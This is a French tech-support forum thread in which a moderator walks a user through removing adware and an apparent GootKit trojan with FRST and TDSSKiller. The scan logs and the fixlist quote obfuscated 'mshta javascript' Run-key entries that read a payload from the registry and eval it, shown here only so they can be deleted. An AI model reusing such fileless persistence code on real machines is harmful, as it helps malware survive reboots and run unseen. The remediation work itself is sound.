[Help] Virus et malwares qui pourrissent mon ordi
Résolu/Fermé
nicolasbaboon
Messages postés
264
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
-
23 mai 2015 à 14:21
Malekal_morte- Messages postés 180304 Date d'inscription mercredi 17 mai 2006 Statut Modérateur, Contributeur sécurité Dernière intervention 15 décembre 2020 - 25 mai 2015 à 16:49
Malekal_morte- Messages postés 180304 Date d'inscription mercredi 17 mai 2006 Statut Modérateur, Contributeur sécurité Dernière intervention 15 décembre 2020 - 25 mai 2015 à 16:49
A voir également:
- [Help] Virus et malwares qui pourrissent mon ordi
- Mon ordi rame que faire - Guide
- Comment reinitialiser un ordi - Guide
- Ordi scrabble - Télécharger - Jeux vidéo
- Ordi qui freeze - Guide
- Youtu.be virus - Accueil - Guide virus
4 réponses
Malekal_morte-
Messages postés
180304
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
15 décembre 2020
24 663
Modifié par Malekal_morte- le 23/05/2015 à 14:27
Modifié par Malekal_morte- le 23/05/2015 à 14:27
Salut,
Si tu peux donner les infos sur les détections, ça sera mieux.
Suis ce tutoriel FRST: https://www.malekal.com/tutoriel-farbar-recovery-scan-tool-frst/
(et bien prendre le temps de lire afin d'appliquer correctement - tout y est expliqué).
Télécharge et lance le scan FRST, cela va générer trois rapports FRST :
Envoie, comme expliqué, ces trois rapports sur le site http://pjjoint.malekal.com et en retour donne les trois liens pjjoint qui mènent à ses rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.
Like the angel you are, you laugh creating a lightness in my chest,
Your eyes they penetrate me,
(Your answer's always 'maybe')
That's when I got up and left
Si tu peux donner les infos sur les détections, ça sera mieux.
Suis ce tutoriel FRST: https://www.malekal.com/tutoriel-farbar-recovery-scan-tool-frst/
(et bien prendre le temps de lire afin d'appliquer correctement - tout y est expliqué).
Télécharge et lance le scan FRST, cela va générer trois rapports FRST :
- FRST.txt
- Shortcut.txt
- Additionnal.txt
Envoie, comme expliqué, ces trois rapports sur le site http://pjjoint.malekal.com et en retour donne les trois liens pjjoint qui mènent à ses rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.
Like the angel you are, you laugh creating a lightness in my chest,
Your eyes they penetrate me,
(Your answer's always 'maybe')
That's when I got up and left
Malekal_morte-
Messages postés
180304
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
15 décembre 2020
24 663
23 mai 2015 à 17:23
23 mai 2015 à 17:23
Deux antivirus, cela ne sert à rien.
Désinstalle un des deux.
AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: avast! Antivirus (Enabled - Up to date) {17AD7D40-BA12-9C46-7131-94903A54AD8B}
AV: AVG AntiVirus Free Edition 2015 (Enabled - Up to date) {4D41356F-32AD-7C42-C820-63775EE4F413}
Désinstalle
ProxyGate
Spyhunter
Tu as des adwares mais surtout ton PC semble être infecté par http://www.supprimer-virus.com/trojan-gootkit-et-trojwonton-mshta-virus/GootKit]
Ce qui est étonnant car normalement il vise les entreprises.
Commence par le fix FRST.
Voici la correction à effectuer avec FRST.
Tu peux t'inspirer de cette note explicative avec des captures d'écran pour t'aider: https://www.malekal.com/tutoriel-farbar-recovery-scan-tool-frst/#fix
Ouvre le bloc-notes : Touche Windows + R, dans le champs executer, tape notepad et OK.
Copie/colle dedans ce qui suit :
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**fc9810ce<*>] => mshta javascript:VcKt66sAxk=y5FF;L7h2=new%20ActiveXObject(WScript.Shell);S0S7mpUBOj=Y;kw4L7a=L7h2.RegRead(HKCU\\software\\d16f11a3\\819700fe);soZWJy2Dz=QS11;eval(kw4L7a);xbf5gMx=ytF; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**a04993ac<*>] => mshta javascript:W6m8umyuPC=x;Zg1=new%20ActiveXObject(WScript.Shell);ExMjsv8JJ=3a;kE8fb=Zg1.RegRead(HKCU\\software\\d16f11a3\\819700fe);AzjEr2W=AVyD2hUU;eval(kE8fb);VR8LmfB3A=cBsPr4gC; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [ProxyGate] => C:\Users\Inside\AppData\Roaming\ProxyGate\MainService.exe [1143248 2015-04-01] (Gold Click Ltd)
2015-05-23 13:40 - 2015-05-23 14:34 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\Enigma Software Group
2015-05-23 13:35 - 2015-05-23 13:36 - 00000000 ____D () C:\Users\Inside\AppData\Local\BreakingNewsAlert
2015-05-23 13:11 - 2015-05-23 13:11 - 02223104 _____ () C:\Users\Inside\Downloads\adwcleaner_4.205.exe
2015-05-23 13:10 - 2015-05-23 13:10 - 00000000 ____D () C:\ProgramData\Paultuopago
2015-05-23 13:05 - 2015-05-23 14:36 - 00000000 ____D () C:\ProgramData\UswhyV
2015-05-23 13:04 - 2015-05-23 13:04 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\ProxyGate
2015-05-23 12:48 - 2015-05-23 14:29 - 00000000 ____D () C:\Users\Inside\AppData\Local\Ezmjtion
Une fois, le texte coller dans le bloc-note.
Menu Fichier puis Enregistrer sous.
A gauche, place toi sur le bureau.
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clic sur Enregistrer - cela va créer un fichier fixlist.txt sur le bureau.
Relance FRST et clic sur le bouton Fix
Selon comment un redémarrage est nécessaire (pas obligatoire).
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.
Redémarre l'ordinateur
Désinstalle un des deux.
AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: avast! Antivirus (Enabled - Up to date) {17AD7D40-BA12-9C46-7131-94903A54AD8B}
AV: AVG AntiVirus Free Edition 2015 (Enabled - Up to date) {4D41356F-32AD-7C42-C820-63775EE4F413}
Désinstalle
ProxyGate
Spyhunter
Tu as des adwares mais surtout ton PC semble être infecté par http://www.supprimer-virus.com/trojan-gootkit-et-trojwonton-mshta-virus/GootKit]
Ce qui est étonnant car normalement il vise les entreprises.
Commence par le fix FRST.
Voici la correction à effectuer avec FRST.
Tu peux t'inspirer de cette note explicative avec des captures d'écran pour t'aider: https://www.malekal.com/tutoriel-farbar-recovery-scan-tool-frst/#fix
Ouvre le bloc-notes : Touche Windows + R, dans le champs executer, tape notepad et OK.
Copie/colle dedans ce qui suit :
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**fc9810ce<*>] => mshta javascript:VcKt66sAxk=y5FF;L7h2=new%20ActiveXObject(WScript.Shell);S0S7mpUBOj=Y;kw4L7a=L7h2.RegRead(HKCU\\software\\d16f11a3\\819700fe);soZWJy2Dz=QS11;eval(kw4L7a);xbf5gMx=ytF; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**a04993ac<*>] => mshta javascript:W6m8umyuPC=x;Zg1=new%20ActiveXObject(WScript.Shell);ExMjsv8JJ=3a;kE8fb=Zg1.RegRead(HKCU\\software\\d16f11a3\\819700fe);AzjEr2W=AVyD2hUU;eval(kE8fb);VR8LmfB3A=cBsPr4gC; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [ProxyGate] => C:\Users\Inside\AppData\Roaming\ProxyGate\MainService.exe [1143248 2015-04-01] (Gold Click Ltd)
2015-05-23 13:40 - 2015-05-23 14:34 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\Enigma Software Group
2015-05-23 13:35 - 2015-05-23 13:36 - 00000000 ____D () C:\Users\Inside\AppData\Local\BreakingNewsAlert
2015-05-23 13:11 - 2015-05-23 13:11 - 02223104 _____ () C:\Users\Inside\Downloads\adwcleaner_4.205.exe
2015-05-23 13:10 - 2015-05-23 13:10 - 00000000 ____D () C:\ProgramData\Paultuopago
2015-05-23 13:05 - 2015-05-23 14:36 - 00000000 ____D () C:\ProgramData\UswhyV
2015-05-23 13:04 - 2015-05-23 13:04 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\ProxyGate
2015-05-23 12:48 - 2015-05-23 14:29 - 00000000 ____D () C:\Users\Inside\AppData\Local\Ezmjtion
Une fois, le texte coller dans le bloc-note.
Menu Fichier puis Enregistrer sous.
A gauche, place toi sur le bureau.
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clic sur Enregistrer - cela va créer un fichier fixlist.txt sur le bureau.
Relance FRST et clic sur le bouton Fix
Selon comment un redémarrage est nécessaire (pas obligatoire).
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.
Redémarre l'ordinateur
nicolasbaboon
Messages postés
264
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
101
23 mai 2015 à 17:38
23 mai 2015 à 17:38
Merci beaucoup de m'aider après avoir fait le Fix j'ai eu ça :
Fix result of Farbar Recovery Scan Tool (x64) Version: 22-05-2015 01
Ran by Inside at 2015-05-23 17:37:10 Run:1
Running from C:\Users\Inside\Desktop
Loaded Profiles: Inside (Available Profiles: Inside)
Boot Mode: Normal
==============================================
fixlist content:
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**fc9810ce<*>] => mshta javascript:VcKt66sAxk=y5FF;L7h2=new%20ActiveXObject(WScript.Shell);S0S7mpUBOj=Y;kw4L7a=L7h2.RegRead(HKCU\\software\\d16f11a3\\819700fe);soZWJy2Dz=QS11;eval(kw4L7a);xbf5gMx=ytF; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**a04993ac<*>] => mshta javascript:W6m8umyuPC=x;Zg1=new%20ActiveXObject(WScript.Shell);ExMjsv8JJ=3a;kE8fb=Zg1.RegRead(HKCU\\software\\d16f11a3\\819700fe);AzjEr2W=AVyD2hUU;eval(kE8fb);VR8LmfB3A=cBsPr4gC; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [ProxyGate] => C:\Users\Inside\AppData\Roaming\ProxyGate\MainService.exe [1143248 2015-04-01] (Gold Click Ltd)
2015-05-23 13:40 - 2015-05-23 14:34 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\Enigma Software Group
2015-05-23 13:35 - 2015-05-23 13:36 - 00000000 ____D () C:\Users\Inside\AppData\Local\BreakingNewsAlert
2015-05-23 13:11 - 2015-05-23 13:11 - 02223104 _____ () C:\Users\Inside\Downloads\adwcleaner_4.205.exe
2015-05-23 13:10 - 2015-05-23 13:10 - 00000000 ____D () C:\ProgramData\Paultuopago
2015-05-23 13:05 - 2015-05-23 14:36 - 00000000 ____D () C:\ProgramData\UswhyV
2015-05-23 13:04 - 2015-05-23 13:04 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\ProxyGate
2015-05-23 12:48 - 2015-05-23 14:29 - 00000000 ____D () C:\Users\Inside\AppData\Local\Ezmjtion
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**fc9810ce<*> => Value Removed successfully
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**a04993ac<*> => Value Removed successfully
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\ProxyGate => Value not found.
"C:\Users\Inside\AppData\Roaming\Enigma Software Group" => File/Folder not found.
C:\Users\Inside\AppData\Local\BreakingNewsAlert => Moved successfully.
C:\Users\Inside\Downloads\adwcleaner_4.205.exe => Moved successfully.
C:\ProgramData\Paultuopago => Moved successfully.
C:\ProgramData\UswhyV => Moved successfully.
"C:\Users\Inside\AppData\Roaming\ProxyGate" => File/Folder not found.
C:\Users\Inside\AppData\Local\Ezmjtion => Moved successfully.
Fix result of Farbar Recovery Scan Tool (x64) Version: 22-05-2015 01
Ran by Inside at 2015-05-23 17:37:10 Run:1
Running from C:\Users\Inside\Desktop
Loaded Profiles: Inside (Available Profiles: Inside)
Boot Mode: Normal
==============================================
fixlist content:
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**fc9810ce<*>] => mshta javascript:VcKt66sAxk=y5FF;L7h2=new%20ActiveXObject(WScript.Shell);S0S7mpUBOj=Y;kw4L7a=L7h2.RegRead(HKCU\\software\\d16f11a3\\819700fe);soZWJy2Dz=QS11;eval(kw4L7a);xbf5gMx=ytF; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**a04993ac<*>] => mshta javascript:W6m8umyuPC=x;Zg1=new%20ActiveXObject(WScript.Shell);ExMjsv8JJ=3a;kE8fb=Zg1.RegRead(HKCU\\software\\d16f11a3\\819700fe);AzjEr2W=AVyD2hUU;eval(kE8fb);VR8LmfB3A=cBsPr4gC; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [ProxyGate] => C:\Users\Inside\AppData\Roaming\ProxyGate\MainService.exe [1143248 2015-04-01] (Gold Click Ltd)
2015-05-23 13:40 - 2015-05-23 14:34 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\Enigma Software Group
2015-05-23 13:35 - 2015-05-23 13:36 - 00000000 ____D () C:\Users\Inside\AppData\Local\BreakingNewsAlert
2015-05-23 13:11 - 2015-05-23 13:11 - 02223104 _____ () C:\Users\Inside\Downloads\adwcleaner_4.205.exe
2015-05-23 13:10 - 2015-05-23 13:10 - 00000000 ____D () C:\ProgramData\Paultuopago
2015-05-23 13:05 - 2015-05-23 14:36 - 00000000 ____D () C:\ProgramData\UswhyV
2015-05-23 13:04 - 2015-05-23 13:04 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\ProxyGate
2015-05-23 12:48 - 2015-05-23 14:29 - 00000000 ____D () C:\Users\Inside\AppData\Local\Ezmjtion
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**fc9810ce<*> => Value Removed successfully
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**a04993ac<*> => Value Removed successfully
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\ProxyGate => Value not found.
"C:\Users\Inside\AppData\Roaming\Enigma Software Group" => File/Folder not found.
C:\Users\Inside\AppData\Local\BreakingNewsAlert => Moved successfully.
C:\Users\Inside\Downloads\adwcleaner_4.205.exe => Moved successfully.
C:\ProgramData\Paultuopago => Moved successfully.
C:\ProgramData\UswhyV => Moved successfully.
"C:\Users\Inside\AppData\Roaming\ProxyGate" => File/Folder not found.
C:\Users\Inside\AppData\Local\Ezmjtion => Moved successfully.
End of Fixlog 17:37:10
nicolasbaboon
Messages postés
264
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
101
23 mai 2015 à 18:58
23 mai 2015 à 18:58
Avast me met plus d'alerte comme quoi j'ai un virus donc normalement c'est bon je te remercie énormément tu as été très efficace tu me sauves la vie ;) merci d'avoir consacrer une partie de ton temps à regler mon problème !
Malekal_morte-
Messages postés
180304
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
15 décembre 2020
24 663
23 mai 2015 à 19:38
23 mai 2015 à 19:38
Tu peux faire ça pour voir :
Passe un coup de TDSSKiller : https://forum.malekal.com/viewtopic.php?t=28637&start=
Fais skip sur les détections.
Clic en haut à droite sur reports.
Vas sur http://pjjoint.malekal.com et copie/colle le contenu du rapport TDSSKiller en bas, fais envoyer.
Donne le lien du rapport pjjoint ici dans un nouveau message.
Passe un coup de TDSSKiller : https://forum.malekal.com/viewtopic.php?t=28637&start=
Fais skip sur les détections.
Clic en haut à droite sur reports.
Vas sur http://pjjoint.malekal.com et copie/colle le contenu du rapport TDSSKiller en bas, fais envoyer.
Donne le lien du rapport pjjoint ici dans un nouveau message.
nicolasbaboon
Messages postés
264
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
101
23 mai 2015 à 19:44
23 mai 2015 à 19:44
Malekal_morte-
Messages postés
180304
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
15 décembre 2020
24 663
23 mai 2015 à 20:11
23 mai 2015 à 20:11
C'est un PC d'entreprise ?
nicolasbaboon
Messages postés
264
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
101
>
Malekal_morte-
Messages postés
180304
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
15 décembre 2020
24 mai 2015 à 14:10
24 mai 2015 à 14:10
Non mais je suis allé le faire réparer chez Inside Multimédia pour changer mon ventilo y a une semaine donc ça doit être eux qui ont du toucher un truc
Malekal_morte-
Messages postés
180304
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
15 décembre 2020
24 663
24 mai 2015 à 18:52
24 mai 2015 à 18:52
Humm bizarre.
Tu peux refaire un scan FRST pour vérifier qu'il n'y a plus rien.
Donne les rapports via pjjoint.
Tu peux refaire un scan FRST pour vérifier qu'il n'y a plus rien.
Donne les rapports via pjjoint.
nicolasbaboon
Messages postés
264
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
101
24 mai 2015 à 19:30
24 mai 2015 à 19:30
Malekal_morte-
Messages postés
180304
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
15 décembre 2020
24 663
25 mai 2015 à 16:49
25 mai 2015 à 16:49
=)
Voila, c'est terminé, tu peux supprimer les programmes utilisés.
Quelques conseils :
Pour prévenir les sites malicieux, tu peux installer Blockulicious : https://forum.malekal.com/viewtopic.php?t=46656&start=
Pour ne plus te faire avoir.
A lire - Programmes parasites / PUPs : https://www.malekal.com/adwares-pup-protection/
(Surtout active les détections LPIs pour détecter les programmes parasites et publicitaires)
Le reste de la sécurité : http://forum.malekal.com/comment-securiser-son-ordinateur.html
Voila, c'est terminé, tu peux supprimer les programmes utilisés.
Quelques conseils :
Pour prévenir les sites malicieux, tu peux installer Blockulicious : https://forum.malekal.com/viewtopic.php?t=46656&start=
Pour ne plus te faire avoir.
A lire - Programmes parasites / PUPs : https://www.malekal.com/adwares-pup-protection/
(Surtout active les détections LPIs pour détecter les programmes parasites et publicitaires)
Le reste de la sécurité : http://forum.malekal.com/comment-securiser-son-ordinateur.html
23 mai 2015 à 14:41
https://pjjoint.malekal.com/files.php?id=FRST_20150523_10o7s12r5r5
https://pjjoint.malekal.com/files.php?id=20150523_v12h7m8j8t6
https://pjjoint.malekal.com/files.php?id=20150523_v6k9f15d7x9